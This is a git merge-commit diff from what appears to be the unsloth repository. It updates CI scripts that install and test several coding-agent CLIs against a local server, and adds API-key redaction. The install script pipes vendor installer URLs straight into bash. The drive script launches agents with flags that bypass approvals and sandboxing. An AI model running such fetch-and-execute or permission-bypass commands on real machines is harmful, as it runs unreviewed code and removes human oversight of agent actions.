ceos/unsloth
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Merge branch 'main' into pip

Browse source
This commit is contained in:
Daniel Han 2026-07-07 06:20:44 -07:00
commit 2c9587d9fc
471 changed files with 82963 additions and 8552 deletions
Download patch file Download diff file Expand all files Collapse all files

8
.git-blame-ignore-revs
View file

@ -1,8 +0,0 @@
# Commits listed here are skipped by `git blame` so that bulk, whitespace-only
# changes don't obscure the real authorship of a line.
#
# GitHub honors this file automatically. To use it locally, run once:
# git config blame.ignoreRevsFile .git-blame-ignore-revs
# chore(studio/frontend): normalize line endings to LF
c50b8ab910f5aa56dd7ae0022d2c7b96bfe3384a

284
.github/scripts/agent-guides-drive.sh vendored
View file

@ -6,12 +6,12 @@
# Local Agent Guides CI. All failures from here are failure class (c)
# "guide drift": the server preflight already passed and the agent CLI
# already installed, so a failure here means the documented recipe in
# unsloth_cli/commands/connect.py no longer produces a working flow.
# unsloth_cli/commands/start.py no longer produces a working flow.
#
# Self-updating: for the 5 agents with a connect.py recipe we obtain the
# exact env + command from `unsloth connect <agent> --no-launch` and run
# THAT, so a recipe change is exercised automatically. Pi (no connect.py
# command at HEAD) is driven by a hand-written recipe.
# Self-updating: for all six agents (claude, codex, hermes, openclaw,
# opencode, pi) we obtain the exact env + command from
# `unsloth start <agent> --no-launch` and run THAT, so a recipe change is
# exercised automatically.
#
# Every agent invocation is wrapped in `timeout` so a headless-TTY prompt
# can never hang the runner -- a timeout is reported as guide drift with a
@ -53,14 +53,14 @@ REDACTED_DIR="$REPO_ROOT/redacted-configs"
WORKDIR_BASE="$REPO_ROOT/agent-workdir"
CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh"
mkdir -p "$LOGS_DIR" "$REDACTED_DIR"
CONNECT_REF="unsloth_cli/commands/connect.py"
CONNECT_REF="unsloth_cli/commands/start.py"
# Prefill-shrinking flags for Claude Code. The heavyweight agents send
# multi-thousand-token system prompts + full tool schemas, which on a CPU-only
# runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model).
# Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file)
# and restricting tools cuts the prefill to a few hundred tokens so it completes
# quickly on CPU. These only shape the request size; the connect.py recipe
# quickly on CPU. These only shape the request size; the start.py recipe
# (endpoint, auth, model) is still exercised end to end.
#
# The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured
@ -105,6 +105,13 @@ redact() {
done
}
# Print a file to the log with the key scrubbed, without mutating it (the raw file is
# still needed to parse the real env). Use this instead of `cat` for any transcript that
# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs.
cat_redacted() {
sed "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$1"
}
# A reply must be non-empty and free of connection/auth errors.
assert_reply() {
local out="$1"
@ -131,45 +138,34 @@ run_timed() { # $1=outfile, rest=command
return "$rc"
}
# ── Pi: no connect.py command at HEAD -> hand-written recipe ──────────────
write_pi_config() {
if unsloth connect pi --help >/dev/null 2>&1; then
# Tripwire: once a real recipe exists, the hand-written config would mask any
# drift in it, defeating the point of this CI. Fail hard so the cell is
# migrated to the self-updating `unsloth connect pi --no-launch` path.
guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)"
fi
mkdir -p "$HOME/.pi/agent"
python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY'
import json, os, sys
base, key, model = sys.argv[1], sys.argv[2], sys.argv[3]
cfg = {"providers": {"unsloth": {
"api": "openai-completions",
"baseUrl": f"{base}/v1",
"apiKey": key,
"models": [{"id": model}],
}}}
path = os.path.expanduser("~/.pi/agent/models.json")
with open(path, "w") as fh:
json.dump(cfg, fh, indent=2)
PY
cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true
redact "$REDACTED_DIR/pi-models.json"
# Read a value from an `export VAR=...` line in the connect --no-launch output.
# `unsloth start` writes each agent's session config off the user's ~ and points
# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG /
# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here.
raw_env() { # $1 = var name -> value (one shlex-quote layer stripped)
local raw="$LOGS_DIR/connect-${AGENT}.txt"
local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)"
v="${v#\'}"; v="${v%\'}"; printf '%s' "$v"
}
# ── 5-agent connect.py path: parse env + command from --no-launch ─────────
# ── 5-agent start.py path: parse env + command from --no-launch ─────────
# Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the
# launch command on the last printed line), and runs connect.py's config
# writers as a side effect (it writes ~/.codex, ~/.claude, etc.).
# launch command on the last printed line), and runs start.py's config
# writers as a side effect (it writes each agent's relocated session config).
parse_connect() {
local raw="$LOGS_DIR/connect-${AGENT}.txt"
if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
cat "$raw"
guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero"
# CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their
# config (which now prompts by default), so the file-edit test opts into auto-approval
# here, the same intent as claude/codex's per-call bypass flags.
local yolo=()
[ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo)
if ! unsloth start "$AGENT" --no-launch "${yolo[@]}" --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
cat_redacted "$raw"
guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero"
fi
echo "[$AGENT] connect --no-launch printed:"; cat "$raw"
echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
# The launch command is the last non-export, non-status line. connect.py
# The launch command is the last non-export, non-status line. start.py
# prints "Studio <url> · model <id>" and "Updated ..." status lines first.
CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
| grep -E '[^[:space:]]' | tail -1)"
@ -177,45 +173,63 @@ parse_connect() {
redact "$raw"
}
# Cross-check the documented contract knobs so silent connect.py changes
# Cross-check the documented contract knobs so silent start.py changes
# (env-var rename, wire_api flip, attribution setting drop) also fail/flag.
crosscheck_contract() {
local raw="$LOGS_DIR/connect-${AGENT}.txt"
local cfg home
case "$AGENT" in
codex)
grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \
|| guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)"
if [ -f "$HOME/.codex/config.toml" ]; then
grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \
|| guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml"
cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml"
|| guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)"
home="$(raw_env CODEX_HOME)"
# An empty relocation var would make cfg "/config.toml" and silently
# skip the [ -f ] contract check below; fail loudly instead.
[ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())"
cfg="$home/config.toml"
if [ -f "$cfg" ]; then
grep -q 'wire_api = "responses"' "$cfg" \
|| guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml"
cp "$cfg" "$REDACTED_DIR/codex-config.toml"
fi
grep -q 'codex --oss --profile unsloth_api' "$raw" \
|| echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'"
;;
claude)
grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \
|| guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())"
if [ -f "$HOME/.claude/settings.json" ]; then
grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \
|| echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)"
cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json"
fi
|| guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())"
grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \
|| echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())"
;;
hermes)
grep -q 'UNSLOTH_API_KEY' "$raw" \
|| guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)"
[ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml"
|| guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)"
home="$(raw_env HERMES_HOME)"
[ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())"
cfg="$home/config.yaml"
[ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml"
;;
openclaw)
if [ -f "$HOME/.openclaw/openclaw.json" ]; then
grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \
cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
if [ -n "$cfg" ] && [ -f "$cfg" ]; then
grep -q '"openai-completions"' "$cfg" \
|| echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)"
cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json"
cp "$cfg" "$REDACTED_DIR/openclaw.json"
fi
;;
opencode)
[ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json"
cfg="$(raw_env OPENCODE_CONFIG)"
[ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json"
;;
pi)
# Pi has no config-dir env var; the session is HOME-relocated, and the
# provider config lives at $HOME/.pi/agent/models.json.
cfg="$(raw_env HOME)/.pi/agent/models.json"
if [ -f "$cfg" ]; then
grep -q '"openai-completions"' "$cfg" \
|| echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)"
cp "$cfg" "$REDACTED_DIR/pi-models.json"
fi
;;
esac
redact "$REDACTED_DIR"/* 2>/dev/null || true
@ -229,16 +243,23 @@ crosscheck_contract() {
# Hermes: an explicit empty cli toolset disables all tools (and drops the
# tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands.
# hermes ships a DEFAULT config.yaml that already has a populated
# platform_toolsets, and `unsloth connect` merges into it, so we must override
# cli (not just append). That needs a YAML parser, and the runner's bare
# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py
# imports yaml), so run the patch with that interpreter.
# Hermes enables its default cli toolset when the session config does not pin one,
# so we must set platform_toolsets.cli explicitly to [] (not just append) to get
# zero tools. That needs a YAML parser, and the runner's bare python3 has no
# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run
# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml
# that `unsloth start` printed, not the user's ~/.hermes.
# (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.)
patch_hermes_tools() { # $1 = none|default
# Check the raw var BEFORE appending /config.yaml: the joined path is never
# empty, so the old guard could not fire and the patcher would die on
# "/config.yaml" with a bare traceback instead of this clear failure.
local home; home="$(raw_env HERMES_HOME)"
[ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())"
local cfg; cfg="$home/config.yaml"
# Find a python that can import yaml. The runner's bare python3 cannot, but the
# interpreter in the `unsloth` console-script shebang provably can (it runs
# connect.py's write_hermes_config, which imports yaml). Try that first, then
# start.py's write_hermes_config, which imports yaml). Try that first, then
# any python on PATH, then the venv sibling, picking the first with PyYAML.
local cand py="" shebang
shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')"
@ -247,13 +268,13 @@ patch_hermes_tools() { # $1 = none|default
{ [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue
if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi
done
[ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml"
echo "[hermes] patching config with $py"
"$py" - "$1" <<'PY'
[ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config"
echo "[hermes] patching $cfg with $py"
"$py" - "$1" "$cfg" <<'PY'
import os, sys
import yaml
mode = sys.argv[1]
p = os.path.expanduser("~/.hermes/config.yaml")
p = sys.argv[2]
cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {}
ts = cfg.get("platform_toolsets")
if not isinstance(ts, dict):
@ -274,10 +295,14 @@ PY
# drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for
# both modes. --agent must reference a defined agent, so write it before invoking.
patch_openclaw_agent() { # $1 = notools|tools
python3 - "$1" <<'PY'
# OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that
# `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw).
local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
[ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())"
python3 - "$1" "$cfg" <<'PY'
import os, sys, json
mode = sys.argv[1]
p = os.path.expanduser("~/.openclaw/openclaw.json")
p = sys.argv[2]
cfg = json.load(open(p)) if os.path.exists(p) else {}
agents = cfg.setdefault("agents", {})
agents.setdefault("defaults", {})["skipBootstrap"] = True
@ -293,20 +318,24 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}")
PY
}
# Build an invoke script that applies connect.py's env then runs the launch
# Build an invoke script that applies start.py's env then runs the launch
# command (with extra args appended) under bash. We do NOT eval connect's env
# into this shell; we write it into a one-shot script so the export/unset
# semantics are exactly what connect.py printed. The script path is absolute
# semantics are exactly what start.py printed. The script path is absolute
# so it is valid even when the caller has cd'd into a scratch work dir.
invoke_via_connect() { # $1=outfile, rest=extra args appended to the command
local out="$1"; shift
local script="$LOGS_DIR/invoke-${AGENT}.sh"
local real; real="$(mktemp)"
# CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a
# session knob without editing the user's config; empty -> use what start.py emitted.
local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}"
{
echo "set -uo pipefail"
echo "$CONNECT_ENV"
[ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA"
# Append extra args (the prompt / flags) to the launch command verbatim.
printf '%s' "$CONNECT_CMD"
printf '%s' "$cmd"
local a
for a in "$@"; do printf ' %q' "$a"; done
printf '\n'
@ -318,7 +347,9 @@ invoke_via_connect() { # $1=outfile, rest=extra args appended to the command
# Writing the redacted copy up front keeps the key out of the artifact even if
# the run times out (run_timed exits before returning here).
cp "$real" "$script"; redact "$script"
echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*"
# The connect one-liner now carries the key as an inline env assignment; scrub it on
# the way to the log (the executed $real keeps the live value).
echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/<REDACTED>} $*"
run_timed "$out" bash "$real"
local rc=$?
rm -f "$real"
@ -332,27 +363,23 @@ case "$MODE" in
connection)
PROMPT='Reply with exactly the single word: pong'
OUT="$LOGS_DIR/${AGENT}-connection.txt"
if [ "$AGENT" = "pi" ]; then
write_pi_config
run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT"
else
parse_connect
crosscheck_contract
# claude/codex run in print mode via the flags connect.py emits
# (claude -p / codex exec). For agents whose default subcommand prints
# to stdout we pass the prompt through ctx.args.
case "$AGENT" in
claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
hermes) patch_hermes_tools none
invoke_via_connect "$OUT" -z "$PROMPT" ;;
openclaw) patch_openclaw_agent notools
invoke_via_connect "$OUT" agent --local --agent ci \
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
*) invoke_via_connect "$OUT" "$PROMPT" ;;
esac
fi
parse_connect
crosscheck_contract
# claude/codex run in print mode via the flags start.py emits
# (claude -p / codex exec). For agents whose default subcommand prints
# to stdout we pass the prompt through ctx.args.
case "$AGENT" in
claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
pi) invoke_via_connect "$OUT" -p "$PROMPT" ;;
hermes) patch_hermes_tools none
invoke_via_connect "$OUT" -z "$PROMPT" ;;
openclaw) patch_openclaw_agent notools
invoke_via_connect "$OUT" agent --local --agent ci \
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
*) invoke_via_connect "$OUT" "$PROMPT" ;;
esac
# A non-zero exit from the documented launch command is drift even if it
# printed something: a benign-looking "command not found" / usage dump would
# otherwise slip past assert_reply (which only flags empty/error-keyword text).
@ -371,22 +398,21 @@ case "$MODE" in
T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.'
T2='Run hello.py with python and show me the exact output.'
# The connect.py recipe writers + crosscheck must see the repo; run them
# from the repo root BEFORE cd-ing into the scratch work dir.
if [ "$AGENT" != "pi" ]; then
parse_connect
crosscheck_contract
# File-edit needs real tools, so we cannot zero them as in connection.
# hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
# bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
# dir is empty, so no project context files are auto-loaded either.
case "$AGENT" in
hermes) patch_hermes_tools default ;;
openclaw) patch_openclaw_agent tools ;;
esac
else
write_pi_config
fi
# The start.py recipe writers + crosscheck must see the repo; run them
# from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw
# gate tool approval through their config (prompting by default), so file-edit
# opts them into auto-approval to run edits/commands headlessly.
case "$AGENT" in opencode|openclaw) CONNECT_YOLO=1 ;; esac
parse_connect
crosscheck_contract
# File-edit needs real tools, so we cannot zero them as in connection.
# hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
# bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
# dir is empty, so no project context files are auto-loaded either.
case "$AGENT" in
hermes) patch_hermes_tools default ;;
openclaw) patch_openclaw_agent tools ;;
esac
# Drive from inside the work dir so the agent edits files there. All log
# writes use absolute $LOGS_DIR, so cwd does not matter for them.
@ -395,7 +421,14 @@ case "$MODE" in
invoke_turn() { # $1=outfile $2=continue? $3=prompt
local out="$1" cont="$2" prompt="$3"
case "$AGENT" in
pi) run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;;
pi)
# Pi continues the previous session with -c; provider/model come from
# the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here.
if [ "$cont" = "continue" ]; then
invoke_via_connect "$out" -p --continue "$prompt"
else
invoke_via_connect "$out" -p "$prompt"
fi ;;
claude)
# --dangerously-skip-permissions lets headless claude actually use the
# Write/Bash tools (otherwise it blocks on an approval prompt and emits
@ -466,33 +499,32 @@ case "$MODE" in
# right before the measured turn, so an earlier turn's reuse can't leak in.
LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}"
export LLAMA_LOG_DIR
parse_connect # writes ~/.claude/settings.json (header=0) + env
parse_connect # prints session env + suppression flags (no ~/.claude write)
crosscheck_contract
PROMPT='Reply with exactly the single word: pong'
# Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on
# the continued turn. connect.py's ensure_claude_attribution_header() set 0.
# Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 +
# --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a
# HIT on the continued turn, since the system-prompt prefix is stable.
invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes
FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2
invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again"
CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT
# Phase B: header ENABLED -> expect a MISS. The header prepends a
# per-request-changing attribution line to the system prompt, so the shared
# prefix changes every turn and the KV cache is invalidated (~90% slower);
# this is exactly what the guide flag prevents.
python3 - <<'PY'
import json, os
p = os.path.expanduser("~/.claude/settings.json")
s = json.load(open(p)) if os.path.exists(p) else {}
s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1"
json.dump(s, open(p, "w"), indent=2)
PY
# Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip
# the env var to 1 and strip the suppression flags from the launch command
# (without them the dynamic attribution line is included and changes every
# turn, so the shared prefix moves and the KV cache is invalidated, ~90%
# slower). This is session-only: nothing is written to ~/.claude.
CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1'
CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \
| sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")"
invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT"
FROM_MISS="$(bash "$CACHE_HELPER" mark)"
invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again"
CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS
echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)"
unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE
echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
;;
*)

33
.github/scripts/agent-guides-install.sh vendored
View file

@ -7,7 +7,7 @@
# is the single biggest source of false reds, so installs retry with
# backoff and the only ::error:: this script can emit is class (b). The
# install recipes mirror the install_hint strings in
# unsloth_cli/commands/connect.py at HEAD.
# unsloth_cli/commands/start.py at HEAD.
#
# Usage: agent-guides-install.sh <agent>
# agent in: claude codex hermes openclaw opencode pi
@ -25,13 +25,14 @@ install_fail() {
}
# npm registry flakiness is common in CI; retry 3x with linear backoff.
# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg).
npm_retry() {
local pkg="$1" i
local i
for i in 1 2 3; do
if npm install -g "$pkg" >> "$LOG" 2>&1; then
if npm install -g "$@" >> "$LOG" 2>&1; then
return 0
fi
echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
sleep "$((i * 10))"
done
return 1
@ -60,30 +61,30 @@ curl_bash() {
echo "[install] agent=$AGENT (log=$LOG)"
case "$AGENT" in
claude)
# connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
# start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed"
# The installer drops the binary under ~/.local/bin.
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
;;
codex)
# connect.py install_hint: npm install -g @openai/codex
# start.py install_hint: npm install -g @openai/codex
npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed"
;;
opencode)
# connect.py install_hint: npm install -g opencode-ai
# start.py install_hint: npm install -g opencode-ai
npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed"
;;
openclaw)
# connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
# start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
# npm is the more deterministic path in CI and matches the agent's docs;
# fall back to the connect.py curl installer if the npm tag is missing.
# fall back to the start.py curl installer if the npm tag is missing.
if ! npm_retry "openclaw@latest"; then
curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
fi
;;
hermes)
# connect.py install_hint:
# start.py install_hint:
# curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash
curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \
--non-interactive --skip-setup --skip-browser --no-skills \
@ -91,11 +92,13 @@ case "$AGENT" in
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
;;
pi)
# No connect.py recipe; the agent's documented package name. The CLI moved
# from the now-deprecated @mariozechner scope to @earendil-works (the old
# scope is frozen, so installing it would test a stale Pi against the API).
npm_retry "@earendil-works/pi-coding-agent" \
|| install_fail "npm install -g @earendil-works/pi-coding-agent failed"
# start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent
# (--ignore-scripts matches Pi's documented recipe; exercising the exact hint
# catches guide drift). The CLI moved from the now-deprecated @mariozechner
# scope to @earendil-works (the old scope is frozen, so installing it would
# test a stale Pi against the API).
npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \
|| install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed"
;;
*)
install_fail "unknown agent '$AGENT'"

2
.github/scripts/serve-unsloth-run.sh vendored
View file

@ -27,7 +27,7 @@
#
# Outputs written to $GITHUB_ENV (and echoed):
# UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner
# UNSLOTH_STUDIO_URL http://127.0.0.1:<PORT> (so `unsloth connect`
# UNSLOTH_STUDIO_URL http://127.0.0.1:<PORT> (so `unsloth start`
# finds THIS server, not the hardcoded :8888)
# UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity)
# UNSLOTH_MODEL_ID the canonical id reported by /v1/models

88
.github/workflows/consolidated-tests-ci.yml vendored
View file

@ -209,7 +209,7 @@ jobs:
'peft>=0.18,<0.20' 'accelerate>=0.34,<2' \
ipython
# torchvision: unsloth_zoo.vision_utils imports it at module scope.
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26'
# transformers + trl from the matrix combo.
pip install "$RESOLVED_TRANSFORMERS_SPEC"
@ -268,6 +268,10 @@ jobs:
tests/saving/test_save_shell_injection.py \
tests/saving/test_patch_saving_none_tokenizer.py \
tests/saving/test_fix_sentencepiece_gguf_robustness.py \
tests/saving/test_compressed_export_schemes.py \
tests/saving/test_export_api_surface.py \
tests/saving/test_export_dispatch.py \
tests/saving/test_imatrix_export.py \
tests/utils/test_attention_masks.py \
tests/utils/test_trunc_normal_patch.py \
tests/python/test_fast_language_model_text_only.py
@ -353,9 +357,14 @@ jobs:
tests/saving/test_save_shell_injection.py \
tests/saving/test_patch_saving_none_tokenizer.py \
tests/saving/test_fix_sentencepiece_gguf_robustness.py \
tests/saving/test_compressed_export_schemes.py \
tests/saving/test_export_api_surface.py \
tests/saving/test_export_dispatch.py \
tests/saving/test_imatrix_export.py \
tests/utils/test_attention_masks.py \
tests/utils/test_trunc_normal_patch.py \
tests/python/test_fast_language_model_text_only.py \
tests/test_prefetch_snapshot_scope.py \
--deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap'
# The deselected test monkeypatches flash_attn_varlen_func, which is
# only bound on the module when `flash_attn` is importable. flash_attn
@ -2166,7 +2175,7 @@ jobs:
python -m pip install --upgrade pip
# Match the matrix job's torch path so unsloth_zoo's
# `import torch` resolves to the same CPU build.
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26'
pip install \
'numpy<3' protobuf sentencepiece \
@ -2204,12 +2213,13 @@ jobs:
pip install -e "$RUNNER_TEMP/unsloth-zoo" --no-deps
pip show unsloth_zoo
- name: llama.cpp install via unsloth_zoo.llama_cpp + `llama-cli --help` smoke
- name: llama.cpp install via unsloth_zoo.llama_cpp + CLI `--help` smoke
# Exercise the canonical `unsloth_zoo.llama_cpp.install_llama_cpp`
# flow that GGUF export uses at runtime: clone ggml-org/llama.cpp
# into ~/.unsloth/llama.cpp, build the LLAMA_CPP_TARGETS list
# (llama-quantize, llama-cli, llama-mtmd-cli, llama-gguf-split,
# llama-server) via cmake, then run `llama-cli --help`.
# llama-server) via cmake, then run `--help` on whichever CLI
# inference binary the build actually produced.
#
# This replaces the previous "download upstream prebuilt zip"
# approach, which silently exited 0 with the message
@ -2218,6 +2228,18 @@ jobs:
# matched their current asset names). The build path is the same
# one Unsloth users hit in production via `model.save_pretrained_gguf`.
#
# We do NOT hard-require `llama-cli` specifically: upstream
# ggml-org/llama.cpp moved the cli/server/ui targets behind the
# `LLAMA_BUILD_SERVER` cmake option (tools/CMakeLists.txt) and the
# set of binaries that survive a given checkout drifts over time
# (e.g. a recent build root shipped llama-server + llama-quantize
# + llama-diffusion-cli but no llama-cli). The durable contract is
# "install_llama_cpp produced a working CLI inference binary AND a
# working quantizer", so we --help-probe the first of
# llama-cli / llama-mtmd-cli / llama-server that exists. If a
# future llama.cpp restores llama-cli it is first in the list and
# is preferred, so this stays backwards compatible.
#
# Wall-time budget: ~3-5 min cold, dominated by cmake build of
# 5 targets on the runner's 4 cores. Apt-package install is
# handled by `install_llama_cpp` itself via its
@ -2252,8 +2274,9 @@ jobs:
print(f"Build targets: {LLAMA_CPP_TARGETS}")
